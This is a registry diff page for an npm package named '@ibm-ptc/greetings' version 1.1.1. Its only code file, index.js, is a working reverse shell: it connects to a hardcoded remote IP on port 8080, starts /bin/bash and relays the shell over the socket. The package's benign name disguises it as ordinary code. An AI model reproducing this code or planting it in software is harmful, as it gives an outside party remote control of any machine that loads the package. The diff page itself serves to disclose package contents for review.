@ibm-ptc/greetings 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const net = require('net');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
const CLIENT = new net.Socket();
|
5
|
+
const REMOTE_HOST = '169.38.106.78';
|
6
|
+
const REMOTE_PORT = 8080; // Change to your listener port
|
7
|
+
|
8
|
+
CLIENT.connect(REMOTE_PORT, REMOTE_HOST, () => {
|
9
|
+
CLIENT.write('Connected!\n');
|
10
|
+
const shell = exec('/bin/bash');
|
11
|
+
|
12
|
+
shell.stdout.on('data', data => CLIENT.write(data));
|
13
|
+
shell.stderr.on('data', data => CLIENT.write(data));
|
14
|
+
shell.on('close', () => CLIENT.end());
|
15
|
+
|
16
|
+
CLIENT.on('data', data => shell.stdin.write(data));
|
17
|
+
});
|
18
|
+
|
19
|
+
CLIENT.on('close', () => process.exit());
|